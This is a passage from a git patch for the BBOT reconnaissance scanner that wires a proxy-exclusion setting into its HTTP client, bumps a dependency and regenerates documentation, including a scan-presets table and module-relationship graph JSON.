portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | httpx, hunt, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| web | | Quick web scan | 0 | | -| web-heavy | | Aggressive web scan | 0 | | -| web-screenshots | | Take screenshots of webpages | 0 | | +| Preset | Category | Description | # Modules | Modules | +|-------------------|------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------| +| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | +| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | http, wayback, webbrute | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | webbrute | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, http, telerik, webbrute, webbrute_shortnames | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | +| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | +| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | http, lightfuzz, portfilter | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | http, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | http, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | http, nuclei, portfilter | +| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | http, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | http, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | http, hunt, reflected_parameters | +| paramminer-heavy | web | Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time. | 3 | http, hunt, reflected_parameters | +| spider | | Recursive web spider | 1 | http | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | http | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | +| test | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | +| web | | Quick web scan | 0 | | +| web-heavy | | Aggressive web scan | 0 | | +| web-screenshots | | Take screenshots of webpages | 0 | | From 561033c2e433f68a3973a94aefc78c866f910119 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 13:36:19 -0400 Subject: [PATCH 725/912] web: route http_proxy_exclude through blasthttp no_proxy; require blasthttp 0.8.0 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Wire web.http_proxy_exclude into blasthttp's per-request no_proxy parameter in _build_blasthttp_kwargs, so it flows to both single request()/download() and batch (BatchConfig). Only forward it when a proxy is set — blasthttp 0.8.0 errors on no_proxy without a proxy, and the exclusion is meaningless otherwise. Bump the blasthttp pin to >=0.8.0, where no_proxy support and per-redirect-hop proxy re-evaluation landed. Regenerate docs. Builds on the http_proxy_exclude config + --no-proxy CLI flag from #3000. --- README.md | 9 +- bbot/core/helpers/web/web.py | 7 + docs/data/chord_graph/entities.json | 848 ++++++++++++++-------------- docs/data/chord_graph/rels.json | 692 +++++++++++------------ docs/modules/list_of_modules.md | 22 +- docs/scanning/advanced.md | 38 +- docs/scanning/configuration.md | 136 +++-- docs/scanning/events.md | 69 ++- docs/scanning/index.md | 48 +- docs/scanning/presets_list.md | 140 +++-- pyproject.toml | 2 +- uv.lock | 112 ++-- 12 files changed, 1084 insertions(+), 1039 deletions(-) diff --git a/README.md b/README.md index efbdb925e0..558d4fb9c9 100644 --- a/README.md +++ b/README.md @@ -91,7 +91,7 @@ bbot -t evilcorp.com -p spider description: Recursive web spider modules: - - httpx + - http blacklist: # Prevent spider from invalidating sessions by logging out @@ -223,6 +223,13 @@ include: - web-screenshots - baddns-heavy +config: + modules: + dnsbrute: + recursive_mutations: true + dnscommonsrv: + recursive_mutations: true + ``` diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index c48a633ac2..c597ee7905 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -76,6 +76,7 @@ def __init__(self, parent_helper): self._http_timeout = self.web_config.get("http_timeout", 20) self._http_retries = self.web_config.get("http_retries", 1) self._http_proxy = self.web_config.get("http_proxy", None) + self._http_proxy_exclude = self.web_config.get("http_proxy_exclude", []) or [] ua = self.web_config.get("user_agent", "BBOT") ua_suffix = self.web_config.get("user_agent_suffix") or "" self._user_agent = f"{ua} {ua_suffix}".strip() @@ -116,6 +117,7 @@ def _build_blasthttp_kwargs(self, url, **kwargs): follow_redirects = kwargs.pop("follow_redirects", None) max_redirects = kwargs.pop("max_redirects", None) proxy = kwargs.pop("proxy", self._http_proxy) + no_proxy = kwargs.pop("no_proxy", self._http_proxy_exclude) retries = kwargs.pop("retries", self._http_retries) params = kwargs.pop("params", None) cookies = kwargs.pop("cookies", None) @@ -211,6 +213,11 @@ def _build_blasthttp_kwargs(self, url, **kwargs): blast_kwargs["max_redirects"] = int(max_redirects) if proxy: blast_kwargs["proxy"] = proxy + # no_proxy lists hosts that bypass the proxy; it only has an effect + # alongside a proxy (blasthttp errors if it's set without one), so + # only forward it when a proxy is actually in play. + if no_proxy: + blast_kwargs["no_proxy"] = list(no_proxy) if max_body_size is not None: blast_kwargs["max_body_size"] = int(max_body_size) if request_target is not None: diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 7a0426345c..c1be70a10c 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -27,35 +27,35 @@ "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 139 + 135 ], "produces": [ 18 ] }, { - "id": 45, + "id": 46, "name": "CODE_REPOSITORY", "parent": 88888888, "consumes": [ 64, - 81, - 82, - 86, - 89, - 125, - 145, - 147 - ], - "produces": [ - 44, - 65, + 79, 80, - 83, 84, 87, - 88, - 124 + 123, + 141, + 143 + ], + "produces": [ + 45, + 65, + 78, + 81, + 82, + 85, + 86, + 122 ] }, { @@ -76,12 +76,12 @@ 33, 34, 35, - 37, + 36, 38, - 42, + 39, 43, - 46, - 51, + 44, + 47, 52, 53, 54, @@ -93,79 +93,74 @@ 61, 63, 69, - 79, + 76, + 81, 83, - 85, - 93, - 97, - 105, - 109, - 111, + 91, + 95, + 104, + 108, + 110, + 113, 114, - 115, - 119, + 118, 120, - 122, - 126, + 124, + 128, + 129, 130, - 131, 132, - 134, + 133, 135, - 136, + 137, + 138, 139, - 141, 142, - 143, 146, - 150, - 151, - 152, - 154 + 147, + 148, + 150 ], "produces": [ 6, 18, 27, - 34, 35, - 37, + 36, 38, 39, - 42, + 40, 43, - 51, + 44, 52, - 54, + 53, 57, 58, 59, 60, 61, 62, - 79, - 93, - 97, - 105, - 109, - 112, + 76, + 91, + 95, + 104, + 108, + 111, + 113, 114, - 115, - 119, - 126, + 124, + 128, 130, 132, - 134, 135, - 139, - 140, - 141, + 136, + 137, + 138, 142, 146, - 150, - 151, - 152, - 154 + 147, + 148, + 150 ] }, { @@ -174,30 +169,30 @@ "parent": 88888888, "consumes": [ 21, - 139, - 143 + 135, + 139 ], "produces": [] }, { - "id": 47, + "id": 48, "name": "EMAIL_ADDRESS", "parent": 88888888, "consumes": [ 70 ], "produces": [ - 46, - 53, + 47, + 54, 59, 63, 69, - 85, - 97, - 120, - 131, - 136, - 140 + 83, + 95, + 118, + 129, + 133, + 136 ] }, { @@ -205,21 +200,21 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ + 102, 103, - 104, - 147, - 148 + 143, + 144 ], "produces": [ 8, 64, - 77, - 81, - 82, - 86, - 103, - 125, - 148 + 74, + 79, + 80, + 84, + 102, + 123, + 144 ] }, { @@ -228,7 +223,7 @@ "parent": 88888888, "consumes": [ 15, - 156 + 152 ], "produces": [ 1, @@ -243,50 +238,51 @@ 31, 32, 33, - 36, + 34, + 37, 68, - 80, - 88, + 77, + 78, + 86, + 90, 92, 94, - 96, + 105, 106, 107, - 108, - 110, + 109, + 111, 112, - 113, - 127, - 128, - 133, - 134, - 137, - 139, - 144, + 125, + 126, + 131, + 132, + 135, + 140, + 141, + 143, 145, - 147, - 149, - 158 + 155 ] }, { - "id": 100, + "id": 99, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 99, - 102 + 98, + 101 ] }, { - "id": 48, + "id": 49, "name": "HASHED_PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 46, - 53 + 47, + 54 ] }, { @@ -299,22 +295,23 @@ 26, 68, 71, - 77, - 88, - 94, + 74, + 86, + 92, + 109, 110, 111, - 112, + 115, 116, 117, - 118, - 139, - 144, - 147, - 158 + 135, + 136, + 140, + 143, + 155 ], "produces": [ - 95 + 93 ] }, { @@ -324,31 +321,31 @@ "consumes": [ 11, 15, - 39, - 99, + 40, + 98, + 100, 101, - 102, - 111, - 122, - 133, - 134, - 139 + 110, + 120, + 131, + 132, + 135 ], "produces": [ 15, - 39, + 40, 62, - 101, - 139 + 100, + 135 ] }, { - "id": 123, + "id": 121, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 122, - 139 + 120, + 135 ], "produces": [] }, @@ -360,7 +357,7 @@ 8 ], "produces": [ - 89 + 87 ] }, { @@ -369,29 +366,28 @@ "parent": 88888888, "consumes": [ 15, - 78, - 95, - 111, - 121, - 140 + 75, + 93, + 110, + 119 ], "produces": [ 15, - 39, - 122, - 133, - 134, - 139 + 40, + 120, + 131, + 132, + 135 ] }, { - "id": 40, + "id": 41, "name": "OPEN_UDP_PORT", "parent": 88888888, "consumes": [], "produces": [ - 39, - 133 + 40, + 131 ] }, { @@ -400,36 +396,36 @@ "parent": 88888888, "consumes": [ 65, - 84, - 89, - 124 + 82, + 87, + 122 ], "produces": [ - 139 + 135 ] }, { - "id": 49, + "id": 50, "name": "PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 46, - 53 + 47, + 54 ] }, { - "id": 41, + "id": 42, "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 106, - 108, - 111 + 105, + 107, + 110 ], "produces": [ - 39, - 78 + 40, + 75 ] }, { @@ -449,10 +445,10 @@ "parent": 88888888, "consumes": [ 71, - 147 + 143 ], "produces": [ - 104 + 103 ] }, { @@ -461,18 +457,18 @@ "parent": 88888888, "consumes": [ 65, - 84, - 87, + 82, + 85, + 86, 88, - 90, - 124, - 139 + 122, + 135 ], "produces": [ 65, - 85, - 88, - 138 + 83, + 86, + 134 ] }, { @@ -487,14 +483,16 @@ 31, 32, 33, - 139 + 34, + 135 ], "produces": [ 28, 29, 31, 32, - 33 + 33, + 34 ] }, { @@ -503,22 +501,22 @@ "parent": 88888888, "consumes": [ 15, - 88, - 145, - 156, - 158 + 86, + 141, + 152, + 155 ], "produces": [ 1, 26, - 39, + 40, 68, + 86, 88, - 90, - 113, - 133, - 134, - 158 + 112, + 131, + 132, + 155 ] }, { @@ -530,39 +528,39 @@ 14, 15, 23, - 36, - 74, - 80, + 37, + 77, + 78, + 88, 90, - 92, - 95, - 98, - 107, + 93, + 96, + 106, + 111, 112, - 113, - 121, - 129, - 137, - 139, - 144, + 119, + 127, + 135, + 140, + 145, 149, - 153, - 156 + 152, + 153 ], "produces": [ - 90, - 95 + 88, + 93 ] }, { - "id": 76, + "id": 97, "name": "URL_HINT", "parent": 88888888, "consumes": [ - 75 + 154 ], "produces": [ - 98 + 96 ] }, { @@ -570,59 +568,51 @@ "name": "URL_UNVERIFIED", "parent": 88888888, "consumes": [ - 44, - 77, - 95, - 114, - 121, - 128, - 138, - 139, - 145 + 45, + 74, + 93, + 113, + 119, + 126, + 134, + 135, + 141 ], "produces": [ 18, 27, 30, - 39, + 40, 55, 59, 63, 65, 71, - 74, 75, - 83, - 90, - 97, + 81, + 88, + 95, + 127, 129, - 131, + 146, 150, + 153, 154, - 158 + 155 ] }, { - "id": 50, + "id": 51, "name": "USERNAME", "parent": 88888888, "consumes": [ - 139 + 135 ], "produces": [ - 46, - 53 + 47, + 54 ] }, - { - "id": 157, - "name": "VHOST", - "parent": 88888888, - "consumes": [ - 156 - ], - "produces": [] - }, { "id": 17, "name": "WAF", @@ -631,16 +621,16 @@ 15 ], "produces": [ - 153 + 149 ] }, { - "id": 91, + "id": 89, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 90 + 88 ] }, { @@ -648,19 +638,19 @@ "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 96, - 107, + 94, + 106, + 115, 116, 117, - 118, - 127, - 155 + 125, + 151 ], "produces": [ 71, + 115, 116, - 117, - 118 + 117 ] }, { @@ -877,7 +867,7 @@ }, { "id": 33, - "name": "bucket_microsoft", + "name": "bucket_hetzner", "parent": 99999999, "consumes": [ 7, @@ -890,6 +880,19 @@ }, { "id": 34, + "name": "bucket_microsoft", + "parent": 99999999, + "consumes": [ + 7, + 24 + ], + "produces": [ + 4, + 24 + ] + }, + { + "id": 35, "name": "bufferoverrun", "parent": 99999999, "consumes": [ @@ -900,7 +903,7 @@ ] }, { - "id": 35, + "id": 36, "name": "builtwith", "parent": 99999999, "consumes": [ @@ -911,7 +914,7 @@ ] }, { - "id": 36, + "id": 37, "name": "bypass403", "parent": 99999999, "consumes": [ @@ -922,7 +925,7 @@ ] }, { - "id": 37, + "id": 38, "name": "c99", "parent": 99999999, "consumes": [ @@ -933,7 +936,7 @@ ] }, { - "id": 38, + "id": 39, "name": "censys_dns", "parent": 99999999, "consumes": [ @@ -944,7 +947,7 @@ ] }, { - "id": 39, + "id": 40, "name": "censys_ip", "parent": 99999999, "consumes": [ @@ -954,14 +957,14 @@ 7, 12, 16, - 40, 41, + 42, 5, 20 ] }, { - "id": 42, + "id": 43, "name": "certspotter", "parent": 99999999, "consumes": [ @@ -972,7 +975,7 @@ ] }, { - "id": 43, + "id": 44, "name": "chaos", "parent": 99999999, "consumes": [ @@ -983,32 +986,32 @@ ] }, { - "id": 44, + "id": 45, "name": "code_repository", "parent": 99999999, "consumes": [ 20 ], "produces": [ - 45 + 46 ] }, { - "id": 46, + "id": 47, "name": "credshed", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, 48, 49, - 50 + 50, + 51 ] }, { - "id": 51, + "id": 52, "name": "crt", "parent": 99999999, "consumes": [ @@ -1019,7 +1022,7 @@ ] }, { - "id": 52, + "id": 53, "name": "crt_db", "parent": 99999999, "consumes": [ @@ -1030,28 +1033,17 @@ ] }, { - "id": 53, + "id": 54, "name": "dehashed", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, 48, 49, - 50 - ] - }, - { - "id": 54, - "name": "digitorus", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 + 50, + 51 ] }, { @@ -1097,7 +1089,7 @@ ], "produces": [ 7, - 47, + 48, 20 ] }, @@ -1142,7 +1134,7 @@ 7 ], "produces": [ - 47, + 48, 56, 20 ] @@ -1152,7 +1144,7 @@ "name": "docker_pull", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 @@ -1167,7 +1159,7 @@ 67 ], "produces": [ - 45, + 46, 67, 20 ] @@ -1192,7 +1184,7 @@ 7 ], "produces": [ - 47 + 48 ] }, { @@ -1200,7 +1192,7 @@ "name": "emails", "parent": 99999999, "consumes": [ - 47 + 48 ], "produces": [] }, @@ -1219,28 +1211,6 @@ }, { "id": 74, - "name": "ffuf", - "parent": 99999999, - "consumes": [ - 3 - ], - "produces": [ - 20 - ] - }, - { - "id": 75, - "name": "ffuf_shortnames", - "parent": 99999999, - "consumes": [ - 76 - ], - "produces": [ - 20 - ] - }, - { - "id": 77, "name": "filedownload", "parent": 99999999, "consumes": [ @@ -1252,18 +1222,19 @@ ] }, { - "id": 78, + "id": 75, "name": "fingerprintx", "parent": 99999999, "consumes": [ 16 ], "produces": [ - 41 + 42, + 20 ] }, { - "id": 79, + "id": 76, "name": "fullhunt", "parent": 99999999, "consumes": [ @@ -1274,53 +1245,64 @@ ] }, { - "id": 80, + "id": 77, + "name": "generic_ssrf", + "parent": 99999999, + "consumes": [ + 3 + ], + "produces": [ + 4 + ] + }, + { + "id": 78, "name": "git", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 45, + 46, 4 ] }, { - "id": 81, + "id": 79, "name": "git_clone", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 82, + "id": 80, "name": "gitdumper", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 83, + "id": 81, "name": "github_codesearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 45, + 46, 20 ] }, { - "id": 84, + "id": 82, "name": "github_org", "parent": 99999999, "consumes": [ @@ -1328,45 +1310,45 @@ 67 ], "produces": [ - 45 + 46 ] }, { - "id": 85, + "id": 83, "name": "github_usersearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, + 48, 67 ] }, { - "id": 86, + "id": 84, "name": "github_workflows", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 87, + "id": 85, "name": "gitlab_com", "parent": 99999999, "consumes": [ 67 ], "produces": [ - 45 + 46 ] }, { - "id": 88, + "id": 86, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ @@ -1375,18 +1357,18 @@ 5 ], "produces": [ - 45, + 46, 4, 67, 5 ] }, { - "id": 89, + "id": 87, "name": "google_playstore", "parent": 99999999, "consumes": [ - 45, + 46, 66 ], "produces": [ @@ -1394,7 +1376,7 @@ ] }, { - "id": 90, + "id": 88, "name": "gowitness", "parent": 99999999, "consumes": [ @@ -1405,11 +1387,11 @@ 5, 3, 20, - 91 + 89 ] }, { - "id": 92, + "id": 90, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1420,7 +1402,7 @@ ] }, { - "id": 93, + "id": 91, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1431,7 +1413,7 @@ ] }, { - "id": 94, + "id": 92, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1442,8 +1424,8 @@ ] }, { - "id": 95, - "name": "httpx", + "id": 93, + "name": "http", "parent": 99999999, "consumes": [ 16, @@ -1456,7 +1438,7 @@ ] }, { - "id": 96, + "id": 94, "name": "hunt", "parent": 99999999, "consumes": [ @@ -1467,7 +1449,7 @@ ] }, { - "id": 97, + "id": 95, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1475,34 +1457,34 @@ ], "produces": [ 7, - 47, + 48, 20 ] }, { - "id": 98, + "id": 96, "name": "iis_shortnames", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 76 + 97 ] }, { - "id": 99, + "id": 98, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 100 + 99 ] }, { - "id": 101, + "id": 100, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1513,18 +1495,18 @@ ] }, { - "id": 102, + "id": 101, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 100 + 99 ] }, { - "id": 103, + "id": 102, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1535,7 +1517,7 @@ ] }, { - "id": 104, + "id": 103, "name": "kreuzberg", "parent": 99999999, "consumes": [ @@ -1546,7 +1528,7 @@ ] }, { - "id": 105, + "id": 104, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1557,18 +1539,18 @@ ] }, { - "id": 106, + "id": 105, "name": "legba", "parent": 99999999, "consumes": [ - 41 + 42 ], "produces": [ 4 ] }, { - "id": 107, + "id": 106, "name": "lightfuzz", "parent": 99999999, "consumes": [ @@ -1580,18 +1562,18 @@ ] }, { - "id": 108, + "id": 107, "name": "medusa", "parent": 99999999, "consumes": [ - 41 + 42 ], "produces": [ 4 ] }, { - "id": 109, + "id": 108, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1602,7 +1584,7 @@ ] }, { - "id": 110, + "id": 109, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1613,7 +1595,7 @@ ] }, { - "id": 111, + "id": 110, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1621,12 +1603,12 @@ 2, 12, 16, - 41 + 42 ], "produces": [] }, { - "id": 112, + "id": 111, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1639,7 +1621,7 @@ ] }, { - "id": 113, + "id": 112, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1651,7 +1633,7 @@ ] }, { - "id": 114, + "id": 113, "name": "oauth", "parent": 99999999, "consumes": [ @@ -1663,7 +1645,7 @@ ] }, { - "id": 115, + "id": 114, "name": "otx", "parent": 99999999, "consumes": [ @@ -1674,7 +1656,7 @@ ] }, { - "id": 116, + "id": 115, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ @@ -1686,7 +1668,7 @@ ] }, { - "id": 117, + "id": 116, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ @@ -1698,7 +1680,7 @@ ] }, { - "id": 118, + "id": 117, "name": "paramminer_headers", "parent": 99999999, "consumes": [ @@ -1710,29 +1692,18 @@ ] }, { - "id": 119, - "name": "passivetotal", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 - ] - }, - { - "id": 120, + "id": 118, "name": "pgp", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47 + 48 ] }, { - "id": 121, + "id": 119, "name": "portfilter", "parent": 99999999, "consumes": [ @@ -1743,20 +1714,20 @@ "produces": [] }, { - "id": 122, + "id": 120, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 123 + 121 ], "produces": [ 16 ] }, { - "id": 124, + "id": 122, "name": "postman", "parent": 99999999, "consumes": [ @@ -1764,22 +1735,22 @@ 67 ], "produces": [ - 45 + 46 ] }, { - "id": 125, + "id": 123, "name": "postman_download", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 126, + "id": 124, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1790,7 +1761,7 @@ ] }, { - "id": 127, + "id": 125, "name": "reflected_parameters", "parent": 99999999, "consumes": [ @@ -1801,7 +1772,7 @@ ] }, { - "id": 128, + "id": 126, "name": "retirejs", "parent": 99999999, "consumes": [ @@ -1812,7 +1783,7 @@ ] }, { - "id": 129, + "id": 127, "name": "robots", "parent": 99999999, "consumes": [ @@ -1823,7 +1794,7 @@ ] }, { - "id": 130, + "id": 128, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1834,19 +1805,19 @@ ] }, { - "id": 131, + "id": 129, "name": "securitytxt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, + 48, 20 ] }, { - "id": 132, + "id": 130, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1857,7 +1828,7 @@ ] }, { - "id": 133, + "id": 131, "name": "shodan_enterprise", "parent": 99999999, "consumes": [ @@ -1866,12 +1837,12 @@ "produces": [ 4, 16, - 40, + 41, 5 ] }, { - "id": 134, + "id": 132, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1886,40 +1857,18 @@ ] }, { - "id": 135, - "name": "sitedossier", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 - ] - }, - { - "id": 136, + "id": 133, "name": "skymem", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47 - ] - }, - { - "id": 137, - "name": "smuggler", - "parent": 99999999, - "consumes": [ - 3 - ], - "produces": [ - 4 + 48 ] }, { - "id": 138, + "id": 134, "name": "social", "parent": 99999999, "consumes": [ @@ -1930,7 +1879,7 @@ ] }, { - "id": 139, + "id": 135, "name": "speculate", "parent": 99999999, "consumes": [ @@ -1939,12 +1888,12 @@ 22, 2, 12, - 123, + 121, 67, 24, 3, 20, - 50 + 51 ], "produces": [ 7, @@ -1955,19 +1904,19 @@ ] }, { - "id": 140, + "id": 136, "name": "sslcert", "parent": 99999999, "consumes": [ - 16 + 2 ], "produces": [ 7, - 47 + 48 ] }, { - "id": 141, + "id": 137, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -1978,7 +1927,7 @@ ] }, { - "id": 142, + "id": 138, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -1989,7 +1938,7 @@ ] }, { - "id": 143, + "id": 139, "name": "subdomains", "parent": 99999999, "consumes": [ @@ -1999,7 +1948,7 @@ "produces": [] }, { - "id": 144, + "id": 140, "name": "telerik", "parent": 99999999, "consumes": [ @@ -2011,11 +1960,11 @@ ] }, { - "id": 145, + "id": 141, "name": "trajan", "parent": 99999999, "consumes": [ - 45, + 46, 5, 20 ], @@ -2024,7 +1973,7 @@ ] }, { - "id": 146, + "id": 142, "name": "trickest", "parent": 99999999, "consumes": [ @@ -2035,11 +1984,11 @@ ] }, { - "id": 147, + "id": 143, "name": "trufflehog", "parent": 99999999, "consumes": [ - 45, + 46, 10, 2, 72 @@ -2049,7 +1998,7 @@ ] }, { - "id": 148, + "id": 144, "name": "unarchive", "parent": 99999999, "consumes": [ @@ -2060,7 +2009,7 @@ ] }, { - "id": 149, + "id": 145, "name": "url_manipulation", "parent": 99999999, "consumes": [ @@ -2071,7 +2020,7 @@ ] }, { - "id": 150, + "id": 146, "name": "urlscan", "parent": 99999999, "consumes": [ @@ -2083,7 +2032,7 @@ ] }, { - "id": 151, + "id": 147, "name": "viewdns", "parent": 99999999, "consumes": [ @@ -2094,7 +2043,7 @@ ] }, { - "id": 152, + "id": 148, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2105,7 +2054,7 @@ ] }, { - "id": 153, + "id": 149, "name": "wafw00f", "parent": 99999999, "consumes": [ @@ -2116,7 +2065,7 @@ ] }, { - "id": 154, + "id": 150, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2128,7 +2077,7 @@ ] }, { - "id": 155, + "id": 151, "name": "web_parameters", "parent": 99999999, "consumes": [ @@ -2137,19 +2086,40 @@ "produces": [] }, { - "id": 156, + "id": 152, "name": "web_report", "parent": 99999999, "consumes": [ 4, 5, - 3, - 157 + 3 ], "produces": [] }, { - "id": 158, + "id": 153, + "name": "webbrute", + "parent": 99999999, + "consumes": [ + 3 + ], + "produces": [ + 20 + ] + }, + { + "id": 154, + "name": "webbrute_shortnames", + "parent": 99999999, + "consumes": [ + 97 + ], + "produces": [ + 20 + ] + }, + { + "id": 155, "name": "wpscan", "parent": 99999999, "consumes": [ diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index f20fef2f11..e3cf6566c3 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -320,7 +320,17 @@ "type": "consumes" }, { - "source": 7, + "source": 34, + "target": 24, + "type": "consumes" + }, + { + "source": 4, + "target": 34, + "type": "produces" + }, + { + "source": 24, "target": 34, "type": "produces" }, @@ -336,21 +346,21 @@ }, { "source": 36, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 36, "type": "produces" }, { "source": 37, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 37, "type": "produces" }, @@ -366,7 +376,7 @@ }, { "source": 39, - "target": 12, + "target": 7, "type": "consumes" }, { @@ -374,99 +384,99 @@ "target": 39, "type": "produces" }, + { + "source": 40, + "target": 12, + "type": "consumes" + }, + { + 